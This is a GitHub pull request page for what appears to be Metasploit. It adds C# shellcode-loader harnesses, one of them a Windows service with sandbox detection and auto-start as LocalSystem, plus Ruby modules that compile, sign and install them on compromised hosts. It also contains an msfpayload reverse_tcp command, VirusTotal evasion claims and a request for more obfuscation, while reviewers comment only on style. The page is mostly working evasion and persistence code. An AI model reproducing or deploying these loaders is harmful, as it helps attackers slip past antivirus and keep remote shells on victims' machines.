Skip to content

HTTPS clone URL

Subversion checkout URL

You can clone with HTTPS or Subversion.

Download ZIP

Loading…

Dynamic Executables via .NET with Hostess' DotNetAvBypass #701

Closed
wants to merge 10 commits into from

3 participants

@sempervictus

This pull request adds the following end user functionality:
dynamic .NET code builder module: builds .NET code with powershell
.NET AV Bypass: uses Matt Andreko's .NET AV Bypass as a template and compiles on the remote host
Service template has some additional AV evasion built in (localhost:445 check for sandboxing, delay)
Original sources at https://github.com/mandreko/DotNetAVBypass
Current user psexec: modified to use on-host payloads

Changes in lib allow for cleaner execution of powershell scripts, along with greedy cleanup. Added core methods for generating .NET compiler scripts and powershell .NET elevators (to load different .NET CLR versions into the shell).

At present, the generated payloads pass VT with 0/43 hits. Once in trunk these binaries will be flagged pretty quickly, but additional obfuscation is possible and we request that programmatic obfuscation methods be submitted for pull request. I've not yet found a reasonable way to parse and obfuscate c#/vb.net with ruby or powershell, so suggestions are welcome.

RageLtMan added some commits
RageLtMan update psh-net encoder with dynamic function name ed21bc0
RageLtMan Initial Framework Commit of .NET dynamic EXE
This commit adds powershell functionality to dynamically compile .NET code.
Initially this is used to embed payloads into Matt Andreko's (hostess)
.NET AV Bypass harnesses which he has kindly modified to offer an EXE
and a service to host payloads. We've added a localhost:445 check to the
service sources to check for sandboxing, an will be porting service code
enhancements back to the EXE.

Post::Windows::Powershell dot_net_compiler method takes an options hash
which currently needs either source code or a a file path. Other options
currently include a code provider (can use VB.net too), payload, cert (see below),
and compiler options.

Payload space should be marked as MSF_PAYLOAD_SPACE for substitution on load.
Lastly, a path to a PFX certificate on the host can be passed to the dot_net_compiler,
powershell can "Set-AuthenticodeSignature" the resulting EXE for more AV evasion.
The Exploit::Local module is still in local testing and will be commited at the
next pass.

TODO: massive testing, checks for installed .NET versions - we should be able to
use 3.5 just fine, a .NET 3.5 loader, self-signed certificate generation and
import to the keystore - make us trusted even without a proper code signing cert.
Ideally the harnesses should compile in .NET 2.0+, Hostess is working to resolve.
Should also convert the bypassuac sources to single-file assemblies for in-memory
compilation and potential use without dropping an EXE whatsoever.
18474d7
RageLtMan Created Powershell::DotNet namespace
Added initial persistence module
Added assemblies option and generation to .net compiler
Service compiles, but does not install/run properly (sc create works)
983cf35
RageLtMan Fixed Windows Service generation, improved module
Added service options to model
Added certificate options
Created delay for compiler lag - output binary would often drop
only after the module tried to access it
Added .NET 3.5 exec wrapper for compiler

TODO:
Create PS handlers to kill exec wrappers on completion
  Currently stale powershell procs remain in testing
Create lib functions to enumerate available assemblies
  Dynamically parse assembly requirements and feed to PS
008e4ff
RageLtMan Added x86 runtime compatibility mode to .NET CLR elevator 0d2bd08
RageLtMan Fixed svc generation and updated powershell.rb
Service template had windows ASCII-8bit encoding garbage
Added execution time and log options to powershell mixin
Refactored powershell logging and output
ad25fd0
RageLtMan Cleaned up module and powershell execution
Powershell can execute other powershells, and we dont know the PIDs.
Adde a greedy_kill option to powershell execution which tries to
compare prior ps.exe PIDs with new ones after execution.

Module now checks to see if its running as SYSTEM - it cant compile .NET
Module can remove services and delete the binaries.
Module provides a bunch of debug output about what its doing.
aae8c55
RageLtMan Generic .NET code compilation post module
Added post module to compile .NET source code.
This module is a generalized PoC for the method used to build hostess'
dot net av bypass harnesses. Takes source code, compiler options, and
can run the generated binary on completion. Handy when spinning up
the IDE is pointless.

Current user psexec can also take a local file option and a delay
to make use of the .NET generated service payload and wait for its
delayed shellcode exec.

Minor lib cleanup for dot_net methods and opt handling
71ceb08
RageLtMan change net_clr requirement to float 4b2a6df
RageLtMan Fix net_clr version check 214677c
@jlee-r7 jlee-r7 commented on the diff
lib/msf/core/post/windows/powershell/dot_net.rb
((18 lines not shown))
+ def dot_net_compiler(opts = {})
+ #TODO:
+ # allow compilation entirely in memory with a b64 encoded product for export without disk access
+ # Dynamically assign assemblies based on dot_net_code require/includes
+ # Enumerate assemblies available to session, pull requirements, assign accordingly, pass to PS
+
+ # Critical
+ dot_net_code = opts[:harness]
+ if ::File.file?(dot_net_code)
+ dot_net_code = ::File.read(dot_net_code)
+ #vprint_good("Read file in #{dot_net_code.encoding.name} encoding")
+ end
+ return if dot_net_code.nil? or dot_net_code.empty?
+
+ # Ensure we're not running ASCII-8bit through powershell
+ dot_net_code = dot_net_code.force_encoding('ASCII')
@jlee-r7 Collaborator
jlee-r7 added a note

Fails on 1.8; add something like if dot_net_code.respond_to? :force_encoding

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment
@jlee-r7 jlee-r7 commented on the diff
lib/msf/util/exe.rb
@@ -1120,12 +1121,12 @@ def self.to_win32pe_psh_net(framework, code, opts={})
end
psh << lines.join("") + "\r\n\r\n"
- psh << "$#{var_baseaddr} = [#{var_kernel32}.func]::VirtualAlloc(0, $#{var_code}.Length + 1, [#{var_kernel32}.func+AllocationType]::Reserve -bOr [#{var_kernel32}.func+AllocationType]::Commit, [#{var_kernel32}.func+MemoryProtection]::ExecuteReadWrite)\r\n"
+ psh << "$#{var_baseaddr} = [#{var_kernel32}.#{var_function}]::VirtualAlloc(0, $#{var_code}.Length + 1, [#{var_kernel32}.#{var_function}+AllocationType]::Reserve -bOr [#{var_kernel32}.#{var_function}+AllocationType]::Commit, [#{var_kernel32}.#{var_function}+MemoryProtection]::ExecuteReadWrite)\r\n"
@jlee-r7 Collaborator
jlee-r7 added a note

Ridiculously long line. 100 columns, please

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment
@jlee-r7 jlee-r7 commented on the diff
modules/exploits/windows/local/ps_persist.rb
((72 lines not shown))
+ OptString.new('CERT_PATH', [false, 'Path on host to .pfx fomatted certificate for signing' ]),
+ OptBool.new('SVC_REMOVE', [false, 'Remove Windows service named SVC_NAME']),
+
+ ], self.class)
+
+ end
+
+ def exploit
+
+ # Make sure we meet the requirements before running the script
+ if !(session.type == "meterpreter" || have_powershell?)
+ print_error("Incompatible Environment")
+ return 0
+ end
+ # Havent figured this one out yet, but we need a PID owned by a user, cant steal tokens either
+ if client.sys.config.getuid == 'NT AUTHORITY\SYSTEM'
@jlee-r7 Collaborator
jlee-r7 added a note

This string is localized. Check will fail if we're running on a non-English system

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment
@jlee-r7 jlee-r7 commented on the diff
modules/exploits/windows/local/ps_persist.rb
((85 lines not shown))
+ end
+ # Havent figured this one out yet, but we need a PID owned by a user, cant steal tokens either
+ if client.sys.config.getuid == 'NT AUTHORITY\SYSTEM'
+ print_error("Cannot run as system")
+ return 0
+ end
+
+
+
+ # End of file marker
+ eof = Rex::Text.rand_text_alpha(8)
+ env_suffix = Rex::Text.rand_text_alpha(8)
+
+ com_opts = {}
+ com_opts[:net_clr] = '4.0'.to_f # Min .NET runtime to load into a PS session
+ com_opts[:target] = datastore['OUTPUT_TARGET'] || session.fs.file.expand_path('%TEMP%') + "\\#{ Rex::Text.rand_text_alpha(rand(8)+8) }.exe"
@jlee-r7 Collaborator
jlee-r7 added a note

datastore options may come in as an empty string. Better would be something like:

com_opts[:target] = datastore["OUTPUT_TARGET"]
if com_opts[:target].nil? or com_opts[:target].empty?
    com_opts[:target] = ...
end
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment
@jlee-r7 jlee-r7 commented on the diff
modules/exploits/windows/local/ps_persist.rb
((88 lines not shown))
+ print_error("Cannot run as system")
+ return 0
+ end
+
+
+
+ # End of file marker
+ eof = Rex::Text.rand_text_alpha(8)
+ env_suffix = Rex::Text.rand_text_alpha(8)
+
+ com_opts = {}
+ com_opts[:net_clr] = '4.0'.to_f # Min .NET runtime to load into a PS session
+ com_opts[:target] = datastore['OUTPUT_TARGET'] || session.fs.file.expand_path('%TEMP%') + "\\#{ Rex::Text.rand_text_alpha(rand(8)+8) }.exe"
+ com_opts[:payload] = payload_script
+ if datastore['SVC_GEN']
+ com_opts[:harness] = File.join(Msf::Config.install_root, 'external', 'source', 'psh_exe', 'dot_net_service.cs')
@jlee-r7 Collaborator
jlee-r7 added a note

files that are used directly should not live in external/source/. Move this to data/

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment
@jlee-r7 jlee-r7 commented on the diff
modules/exploits/windows/local/ps_persist.rb
((155 lines not shown))
+ if datastore['SVC_GEN']
+ service_create(datastore['SVC_NAME'], datastore['SVC_DNAME'], com_opts[:target].gsub('\\','\\\\'), startup=2, server=nil)
+ if service_start(datastore['SVC_NAME']).to_i == 0
+ vprint_good("Service Started")
+ end
+ else
+ session.sys.process.execute(com_opts[:target].gsub('\\','\\\\'), nil, {'Hidden' => true, 'Channelized' => true})
+ end
+ end
+
+
+ print_good('Finished!')
+ end
+
+
+ # This should be handled by the exploit mixin, right?
@jlee-r7 Collaborator
jlee-r7 added a note

Yes, you definitely should not be creating payloads yourself.

Though i concur i'm a bit hazy on how to do this. I tried adding payload options like normal exploits have at the init hash, but they're not taken into account. Could you provide a quick mock-up for me to work from?

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment
@jlee-r7 jlee-r7 commented on the diff
modules/post/windows/manage/powershell/build_net_code.rb
((14 lines not shown))
+require 'msf/core/post/windows/powershell'
+require 'msf/core/post/windows/powershell/dot_net'
+
+class Metasploit3 < Msf::Post
+ Rank = ExcellentRanking
+
+ include Msf::Post::Windows::Powershell
+ include Msf::Post::Windows::Powershell::DotNet
+
+ def initialize(info={})
+ super(update_info(info,
+ 'Name' => "Powershell .NET Compiler",
+ 'Description' => %q{
+ This module will build a .NET source file using powershell. The compiler builds
+ the executable or library in memory and produces a binary. After compilation the
+ PoweShell session can also sign the executable if provided a path the a .pfx formatted
@jlee-r7 Collaborator
jlee-r7 added a note

Typos.
s/PoweShell/PowerShell/
s/path the a/path to a/

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment
@jlee-r7 jlee-r7 commented on the diff
modules/post/windows/manage/powershell/build_net_code.rb
((31 lines not shown))
+ in the datastore.
+ },
+ 'License' => MSF_LICENSE,
+ 'Version' => '$Revision$',
+ 'Author' => 'RageLtMan <rageltman[at]sempervictus>',
+ 'Platform' => [ 'windows' ],
+ 'SessionTypes' => [ 'meterpreter' ],
+ 'Targets' => [ [ 'Universal', {} ] ],
+ 'DefaultTarget' => 0,
+
+ ))
+
+ register_options(
+ [
+ OptPath.new('SOURCE_FILE', [true, 'Path to source code']),
+ OptBool.new('RUN_BINARY', [false, 'Execute the genrated binary', false]),
@jlee-r7 Collaborator
jlee-r7 added a note

s/genrated/generated/

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment
@jlee-r7 jlee-r7 commented on the diff
modules/post/windows/manage/powershell/build_net_code.rb
((57 lines not shown))
+ register_advanced_options(
+ [
+ OptString.new('NET_CLR_VER', [false, 'Minimun NET CLR version required to compile', '3.5']),
+ ], self.class)
+
+ end
+
+ def exploit
+
+ # Make sure we meet the requirements before running the script
+ if !(session.type == "meterpreter" || have_powershell?)
+ print_error("Incompatible Environment")
+ return 0
+ end
+ # Havent figured this one out yet, but we need a PID owned by a user, cant steal tokens either
+ if client.sys.config.getuid == 'NT AUTHORITY\SYSTEM'
@jlee-r7 Collaborator
jlee-r7 added a note

Localized, see above.

Whats the non-localized way to get privilege level?

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment
@todb-r7 todb-r7 closed this
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment
Commits on Aug 18, 2012
  1. update psh-net encoder with dynamic function name

    RageLtMan authored
  2. Initial Framework Commit of .NET dynamic EXE

    RageLtMan authored
    This commit adds powershell functionality to dynamically compile .NET code.
    Initially this is used to embed payloads into Matt Andreko's (hostess)
    .NET AV Bypass harnesses which he has kindly modified to offer an EXE
    and a service to host payloads. We've added a localhost:445 check to the
    service sources to check for sandboxing, an will be porting service code
    enhancements back to the EXE.
    
    Post::Windows::Powershell dot_net_compiler method takes an options hash
    which currently needs either source code or a a file path. Other options
    currently include a code provider (can use VB.net too), payload, cert (see below),
    and compiler options.
    
    Payload space should be marked as MSF_PAYLOAD_SPACE for substitution on load.
    Lastly, a path to a PFX certificate on the host can be passed to the dot_net_compiler,
    powershell can "Set-AuthenticodeSignature" the resulting EXE for more AV evasion.
    The Exploit::Local module is still in local testing and will be commited at the
    next pass.
    
    TODO: massive testing, checks for installed .NET versions - we should be able to
    use 3.5 just fine, a .NET 3.5 loader, self-signed certificate generation and
    import to the keystore - make us trusted even without a proper code signing cert.
    Ideally the harnesses should compile in .NET 2.0+, Hostess is working to resolve.
    Should also convert the bypassuac sources to single-file assemblies for in-memory
    compilation and potential use without dropping an EXE whatsoever.
  3. Created Powershell::DotNet namespace

    RageLtMan authored
    Added initial persistence module
    Added assemblies option and generation to .net compiler
    Service compiles, but does not install/run properly (sc create works)
  4. Fixed Windows Service generation, improved module

    RageLtMan authored
    Added service options to model
    Added certificate options
    Created delay for compiler lag - output binary would often drop
    only after the module tried to access it
    Added .NET 3.5 exec wrapper for compiler
    
    TODO:
    Create PS handlers to kill exec wrappers on completion
      Currently stale powershell procs remain in testing
    Create lib functions to enumerate available assemblies
      Dynamically parse assembly requirements and feed to PS
  5. Fixed svc generation and updated powershell.rb

    RageLtMan authored
    Service template had windows ASCII-8bit encoding garbage
    Added execution time and log options to powershell mixin
    Refactored powershell logging and output
  6. Cleaned up module and powershell execution

    RageLtMan authored
    Powershell can execute other powershells, and we dont know the PIDs.
    Adde a greedy_kill option to powershell execution which tries to
    compare prior ps.exe PIDs with new ones after execution.
    
    Module now checks to see if its running as SYSTEM - it cant compile .NET
    Module can remove services and delete the binaries.
    Module provides a bunch of debug output about what its doing.
  7. Generic .NET code compilation post module

    RageLtMan authored
    Added post module to compile .NET source code.
    This module is a generalized PoC for the method used to build hostess'
    dot net av bypass harnesses. Takes source code, compiler options, and
    can run the generated binary on completion. Handy when spinning up
    the IDE is pointless.
    
    Current user psexec can also take a local file option and a delay
    to make use of the .NET generated service payload and wait for its
    delayed shellcode exec.
    
    Minor lib cleanup for dot_net methods and opt handling
  8. change net_clr requirement to float

    RageLtMan authored
Commits on Aug 19, 2012
  1. Fix net_clr version check

    RageLtMan authored
This page is out of date. Refresh to see the latest.
View
86 external/source/psh_exe/dot_net_exe.cs
@@ -0,0 +1,86 @@
+using System;
+using System.Runtime.InteropServices;
+
+namespace Wrapper
+{
+ class Program
+ {
+ [Flags]
+ public enum AllocationType : uint
+ {
+ COMMIT = 0x1000,
+ RESERVE = 0x2000,
+ RESET = 0x80000,
+ LARGE_PAGES = 0x20000000,
+ PHYSICAL = 0x400000,
+ TOP_DOWN = 0x100000,
+ WRITE_WATCH = 0x200000
+ }
+
+ [Flags]
+ public enum MemoryProtection : uint
+ {
+ EXECUTE = 0x10,
+ EXECUTE_READ = 0x20,
+ EXECUTE_READWRITE = 0x40,
+ EXECUTE_WRITECOPY = 0x80,
+ NOACCESS = 0x01,
+ READONLY = 0x02,
+ READWRITE = 0x04,
+ WRITECOPY = 0x08,
+ GUARD_Modifierflag = 0x100,
+ NOCACHE_Modifierflag = 0x200,
+ WRITECOMBINE_Modifierflag = 0x400
+ }
+
+ public enum FreeType : uint
+ {
+ MEM_DECOMMIT = 0x4000,
+ MEM_RELEASE = 0x8000
+ }
+
+ [DllImport("kernel32.dll", SetLastError = true)]
+ static extern IntPtr VirtualAlloc(IntPtr lpAddress, UIntPtr dwSize, AllocationType flAllocationType, MemoryProtection flProtect);
+
+ [DllImport("kernel32.dll")]
+ public static extern IntPtr CreateThread(IntPtr lpThreadAttributes, uint dwStackSize, IntPtr lpStartAddress, IntPtr lpParameter, uint dwCreationFlags, IntPtr lpThreadId);
+
+ [DllImport("kernel32")]
+ private static extern bool VirtualFree(IntPtr lpAddress, UInt32 dwSize, FreeType dwFreeType);
+
+ [UnmanagedFunctionPointerAttribute(CallingConvention.Cdecl)]
+ public delegate Int32 ExecuteDelegate();
+
+ static void Main()
+ {
+ // msfpayload windows/meterpreter/reverse_tcp EXITFUNC=thread LPORT=<port> LHOST=<host> R| msfencode -a x86 -e x86/alpha_mixed -t raw BufferRegister=EAX
+ string shellcode = "MSF_PAYLOAD_SPACE";
+
+
+ byte[] sc = new byte[shellcode.Length];
+
+ for (int i = 0; i < shellcode.Length; i++)
+ {
+ sc[i] = Convert.ToByte(shellcode[i]);
+ }
+
+ // Allocate RWX memory for the shellcode
+ IntPtr baseAddr = VirtualAlloc(IntPtr.Zero, (UIntPtr)(sc.Length + 1), AllocationType.RESERVE | AllocationType.COMMIT, MemoryProtection.EXECUTE_READWRITE);
+
+ try
+ {
+ // Copy shellcode to RWX buffer
+ Marshal.Copy(sc, 0, baseAddr, sc.Length);
+
+ // Get pointer to function created in memory
+ ExecuteDelegate del = (ExecuteDelegate)Marshal.GetDelegateForFunctionPointer(baseAddr, typeof(ExecuteDelegate));
+
+ del();
+ }
+ finally
+ {
+ VirtualFree(baseAddr, 0, FreeType.MEM_RELEASE);
+ }
+ }
+ }
+}
View
217 external/source/psh_exe/dot_net_service.cs
@@ -0,0 +1,217 @@
+
+using System;
+using System.ComponentModel;
+using System.Configuration.Install;
+using System.Net;
+using System.Net.Sockets;
+using System.Runtime.InteropServices;
+using System.ServiceProcess;
+using System.Threading;
+using System.Timers;
+using Timer = System.Timers.Timer;
+
+namespace Wrapper
+{
+ class Program : ServiceBase
+ {
+ #region Fields
+
+ private static Timer _timer;
+
+ #endregion
+
+ #region PInvoke Setup
+
+ [Flags]
+ public enum AllocationType : uint
+ {
+ COMMIT = 0x1000,
+ RESERVE = 0x2000,
+ RESET = 0x80000,
+ LARGE_PAGES = 0x20000000,
+ PHYSICAL = 0x400000,
+ TOP_DOWN = 0x100000,
+ WRITE_WATCH = 0x200000
+ }
+
+ [Flags]
+ public enum MemoryProtection : uint
+ {
+ EXECUTE = 0x10,
+ EXECUTE_READ = 0x20,
+ EXECUTE_READWRITE = 0x40,
+ EXECUTE_WRITECOPY = 0x80,
+ NOACCESS = 0x01,
+ READONLY = 0x02,
+ READWRITE = 0x04,
+ WRITECOPY = 0x08,
+ GUARD_Modifierflag = 0x100,
+ NOCACHE_Modifierflag = 0x200,
+ WRITECOMBINE_Modifierflag = 0x400
+ }
+
+ public enum FreeType : uint
+ {
+ MEM_DECOMMIT = 0x4000,
+ MEM_RELEASE = 0x8000
+ }
+
+ [DllImport("kernel32.dll", SetLastError = true)]
+ static extern IntPtr VirtualAlloc(IntPtr lpAddress, UIntPtr dwSize, AllocationType flAllocationType, MemoryProtection flProtect);
+
+ [DllImport("kernel32.dll")]
+ public static extern IntPtr CreateThread(IntPtr lpThreadAttributes, uint dwStackSize, IntPtr lpStartAddress, IntPtr lpParameter, uint dwCreationFlags, IntPtr lpThreadId);
+
+ [DllImport("kernel32")]
+ private static extern bool VirtualFree(IntPtr lpAddress, UInt32 dwSize, FreeType dwFreeType);
+
+ [UnmanagedFunctionPointerAttribute(CallingConvention.Cdecl)]
+ public delegate Int32 ExecuteDelegate();
+
+ #endregion
+
+ #region Constructors
+
+ public Program()
+ {
+ ServiceName = "DotNetAVBypassService";
+ _timer = new Timer
+ {
+ Interval = 20000 // 20 seconds
+ };
+ _timer.Elapsed += RunShellCode;
+ _timer.AutoReset = true;
+ }
+
+ #endregion
+
+ #region ServiceBase Methods
+
+ protected override void OnStart(string[] args)
+ {
+ base.OnStart(args);
+ _timer.Start();
+ }
+
+ protected override void OnStop()
+ {
+ base.OnStop();
+ _timer.Stop();
+ }
+
+ #endregion
+
+ static void Main()
+ {
+ Run(new Program());
+ }
+
+ private void RunShellCode(object sender, ElapsedEventArgs e)
+ {
+ _timer.Stop();
+
+ // only run shellcode if you can connect to localhost:445, due to endpoint protections
+ if (ConnectToLocalhost(445))
+ {
+ try
+ {
+ // msfpayload windows/meterpreter/reverse_tcp EXITFUNC=thread LPORT=<port> LHOST=<host> R| msfencode -a x86 -e x86/alpha_mixed -t raw BufferRegister=EAX
+ string shellcode = "MSF_PAYLOAD_SPACE";
+
+ byte[] sc = new byte[shellcode.Length];
+
+ for (int i = 0; i < shellcode.Length; i++)
+ {
+ sc[i] = Convert.ToByte(shellcode[i]);
+ }
+
+ // Allocate RWX memory for the shellcode
+ IntPtr baseAddr = VirtualAlloc(IntPtr.Zero, (UIntPtr)(sc.Length + 1), AllocationType.RESERVE | AllocationType.COMMIT, MemoryProtection.EXECUTE_READWRITE);
+ System.Diagnostics.Debug.Assert(baseAddr != IntPtr.Zero, "Error: Couldn't allocate remote memory");
+
+ try
+ {
+ // Copy shellcode to RWX buffer
+ Marshal.Copy(sc, 0, baseAddr, sc.Length);
+
+ // Get pointer to function created in memory
+ ExecuteDelegate del = (ExecuteDelegate)Marshal.GetDelegateForFunctionPointer(baseAddr, typeof(ExecuteDelegate));
+
+ // Run this in a separate thread, so that we can wait for it to die before continuing the timer
+ Thread thread = new Thread(() => del());
+
+ thread.Start();
+ thread.Join(); // Joins it to the main thread, so that when it ends, execution will continue with main thread
+ }
+ finally
+ {
+ VirtualFree(baseAddr, 0, FreeType.MEM_RELEASE);
+ }
+ }
+ catch
+ {
+ // Eat it
+ }
+ }
+ _timer.Start();
+ }
+
+ private static bool ConnectToLocalhost(int port)
+ {
+ IPAddress localhost = IPAddress.Parse("127.0.0.1");
+ TcpClient tcpClient = new TcpClient();
+
+ bool isSuccess = false;
+
+ try
+ {
+ tcpClient.Connect(localhost, port);
+ isSuccess = true;
+ }
+ catch
+ {
+ // I know this is bad code-fu, but just eat the error
+ }
+ finally
+ {
+ if (tcpClient.Connected)
+ {
+ tcpClient.Close();
+ }
+ }
+
+ return isSuccess;
+ }
+
+ }
+
+ [RunInstaller(true)]
+ public class DotNetAVBypassServiceInstaller : Installer
+ {
+ public DotNetAVBypassServiceInstaller()
+ {
+ var processInstaller = new ServiceProcessInstaller();
+ var serviceInstaller = new ServiceInstaller();
+
+ //set the privileges
+ processInstaller.Account = ServiceAccount.LocalSystem;
+
+ serviceInstaller.DisplayName = "DotNetAVBypassService";
+ serviceInstaller.StartType = ServiceStartMode.Automatic;
+
+ //must be the same as what was set in Program's constructor
+ serviceInstaller.ServiceName = "DotNetAVBypassService";
+
+ Installers.Add(processInstaller);
+ Installers.Add(serviceInstaller);
+ }
+
+ public override void Install(System.Collections.IDictionary stateSaver)
+ {
+ base.Install(stateSaver);
+ ServiceController controller = new ServiceController("DotNetAVBypassService"); // Make sure this name matches the service name!
+ controller.Start();
+ }
+ }
+}
+
View
108 lib/msf/core/post/windows/powershell.rb
@@ -9,12 +9,14 @@ module Windows
module Powershell
include ::Msf::Post::Common
-
- # List of running processes, open channels, and env variables...
-
-
- # Suffix for environment variables
-
+ def initialize(info = {})
+ super
+ register_advanced_options(
+ [
+ OptInt.new('PS_TIMEOUT', [true, 'Powershell execution timeout', 15]),
+ OptBool.new('LOG_OUTPUT', [true, 'Write output to log file', false])
+ ], self.class)
+ end
def have_powershell?
cmd_out = cmd_exec("powershell get-host")
@@ -23,6 +25,10 @@ def have_powershell?
end
def make_subs(script, subs)
+ if ::File.file?(script)
+ script = ::File.read(script)
+ end
+
subs.each do |set|
script.gsub!(set[0],set[1])
end
@@ -30,6 +36,7 @@ def make_subs(script, subs)
print_good("Final Script: ")
script.each_line {|l| print_status("\t#{l}")}
end
+ return script
end
def process_subs(subs)
@@ -96,12 +103,35 @@ def compress_script(script_in, eof = nil)
return encoded_expression
end
- def execute_script(script, time_out = 15)
- running_pids, open_channels = [], []
+ def get_ps_pids(pids = [])
+ # Get/compare list of current PS processes - nested execution can spawn many children
+ # doing checks before and after execution allows us to kill more children...
+ # This is a hack, better solutions are welcome since this could kill user
+ # spawned powershell windows created between comparisons.
+ current_pids = session.sys.process.get_processes.keep_if {|p|
+ p['name'].downcase == 'powershell.exe'
+ }.map {|p| p['pid']}
+ # Subtract previously known pids
+ current_pids = (current_pids - pids).uniq
+ return current_pids
+ end
+
+
+ def execute_script(script, greedy_kill = false)
+
+ running_pids = greedy_kill ? get_ps_pids : []
+ open_channels = []
# Execute using -EncodedCommand
- session.response_timeout = time_out
+ session.response_timeout = datastore['PS_TIMEOUT'].to_i
cmd_out = session.sys.process.execute("powershell -EncodedCommand " +
- "#{script}", nil, {'Hidden' => true, 'Channelized' => true})
+ "#{script}", nil, {'Hidden' => true, 'Channelized' => true}
+ )
+
+ # Subtract prior PIDs from current
+ if greedy_kill
+ Rex::ThreadSafe.sleep(3) # Let PS start child procs
+ running_pids = get_ps_pids(running_pids)
+ end
# Add to list of running processes
running_pids << cmd_out.pid
@@ -109,7 +139,7 @@ def execute_script(script, time_out = 15)
# Add to list of open channels
open_channels << cmd_out
- return [cmd_out, running_pids, open_channels]
+ return [cmd_out, running_pids.uniq, open_channels]
end
def stage_to_env(compressed_script, env_suffix = Rex::Text.rand_text_alpha(8))
@@ -159,26 +189,49 @@ def stage_to_env(compressed_script, env_suffix = Rex::Text.rand_text_alpha(8))
return encoded_script
end
- def write_to_log(cmd_out, log_file, eof)
- # Open log file for writing
- fd = ::File.new(log_file, 'w+')
+ def get_ps_output(cmd_out, eof, read_wait = 5)
+
+ results = ''
+
+ if datastore['LOG_OUTPUT']
+ # Get target's computer name
+ computer_name = session.sys.config.sysinfo['Computer']
+
+ # Create unique log directory
+ log_dir = ::File.join(Msf::Config.log_directory,'scripts','powershell', computer_name)
+ ::FileUtils.mkdir_p(log_dir)
+
+ # Define log filename
+ time_stamp = ::Time.now.strftime('%Y%m%d:%H%M%S')
+ log_file = ::File.join(log_dir,"#{time_stamp}.txt")
- # Read output until eof and write to log
- while (line = cmd_out.channel.read())
+
+ # Open log file for writing
+ fd = ::File.new(log_file, 'w+')
+ end
+
+ # Read output until eof or nil read and write to log
+ while (1)
+ line = ::Timeout.timeout(read_wait) {
+ cmd_out.channel.read
+ } rescue nil
+ break if line.nil?
if (line.sub!(/#{eof}/, ''))
- fd.write(line)
+ results << line
+ fd.write(line) if fd
vprint_good("\t#{line}")
- cmd_out.channel.close()
break
end
- fd.write(line)
- vprint_good("\t#{line}")
+ results << line
+ fd.write(line) if fd
+ vprint_good("\n#{line}")
end
# Close log file
- fd.close()
+ cmd_out.channel.close()
+ fd.close() if fd
- return
+ return results
end
def clean_up(script_file = nil, eof = '', running_pids =[], open_channels = [], env_suffix = Rex::Text.rand_text_alpha(8), delete = false)
@@ -187,18 +240,18 @@ def clean_up(script_file = nil, eof = '', running_pids =[], open_channels = [],
env_del_command += "Select-String #{env_suffix}|%{"
env_del_command += "[Environment]::SetEnvironmentVariable($_,$null,'User')}"
script = compress_script(env_del_command, eof)
- cmd_out, running_pids, open_channels = *execute_script(script)
- write_to_log(cmd_out, "/dev/null", eof)
+ cmd_out, new_running_pids, new_open_channels = *execute_script(script)
+ get_ps_output(cmd_out, eof)
# Kill running processes
- running_pids.each() do |pid|
+ (running_pids + new_running_pids).each do |pid|
session.sys.process.kill(pid)
end
# Close open channels
- open_channels.each() do |chan|
- chan.channel.close()
+ (open_channels + new_open_channels).each do |chan|
+ chan.channel.close
end
::File.delete(script_file) if (script_file and delete)
@@ -206,5 +259,6 @@ def clean_up(script_file = nil, eof = '', running_pids =[], open_channels = [],
return
end
+
end; end; end; end
View
171 lib/msf/core/post/windows/powershell/dot_net.rb
@@ -0,0 +1,171 @@
+# -*- coding: binary -*-
+module Msf
+class Post
+module Windows
+
+module Powershell
+module DotNet
+
+ def initialize(info = {})
+ super
+ register_advanced_options(
+ [
+ OptString.new('CERT_PATH', [false, 'Path on host to .pfx fomatted certificate for signing' ]),
+
+ ], self.class)
+ end
+
+ def dot_net_compiler(opts = {})
+ #TODO:
+ # allow compilation entirely in memory with a b64 encoded product for export without disk access
+ # Dynamically assign assemblies based on dot_net_code require/includes
+ # Enumerate assemblies available to session, pull requirements, assign accordingly, pass to PS
+
+ # Critical
+ dot_net_code = opts[:harness]
+ if ::File.file?(dot_net_code)
+ dot_net_code = ::File.read(dot_net_code)
+ #vprint_good("Read file in #{dot_net_code.encoding.name} encoding")
+ end
+ return if dot_net_code.nil? or dot_net_code.empty?
+
+ # Ensure we're not running ASCII-8bit through powershell
+ dot_net_code = dot_net_code.force_encoding('ASCII')
@jlee-r7 Collaborator
jlee-r7 added a note

Fails on 1.8; add something like if dot_net_code.respond_to? :force_encoding

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment
+
+ # Optional
+ provider = opts[:provider] || 'Microsoft.CSharp.CSharpCodeProvider' # This should also work with 'Microsoft.VisualBasic.VBCodeProvider'
+ target = opts[:target] # Unless building assemblies in memory only
+ certificate = opts[:cert] # PFX certificate path
+ payload = opts[:payload]
+
+ assemblies = ["mscorlib.dll", "System.dll", "System.Xml.dll", "System.Data.dll", "System.Net.dll"]
+ if opts[:assemblies]
+ opts[:assemblies] = opts[:assemblies].split(',').map {|a| agsub(/\s+/,'')} unless opts[:assemblies].is_a?(Array)
+ assemblies += opts[:assemblies]
+ end
+ # # Read our code, attempt to find required assemblies
+ # inc_var = provider == 'Microsoft.VisualBasic.VBCodeProvider' ? 'imports' : 'using'
+ # assemblies =+ dot_net_code.split("\n").keep_if {|line| line =~ /^#{inc_var}.*;/i }.map do |dep|
+ # dep[dep.index(/\s/)+1..-2] + '.dll'
+ # end
+ # end
+ assemblies = assemblies.uniq.compact
+
+ compiler_opts = opts[:com_opts] || '/platform:x86 /optimize'
+
+
+ if payload
+ dot_net_code = dot_net_code.gsub('MSF_PAYLOAD_SPACE', payload)
+ end
+
+ var_gen_exe = target ? '$true' : '$false'
+
+ # Obfu
+ var_func = Rex::Text.rand_text_alpha(rand(8)+8)
+ var_code = Rex::Text.rand_text_alpha(rand(8)+8)
+ var_refs = Rex::Text.rand_text_alpha(rand(8)+8)
+ var_provider = Rex::Text.rand_text_alpha(rand(8)+8)
+ var_params = Rex::Text.rand_text_alpha(rand(8)+8)
+ var_output = Rex::Text.rand_text_alpha(rand(8)+8)
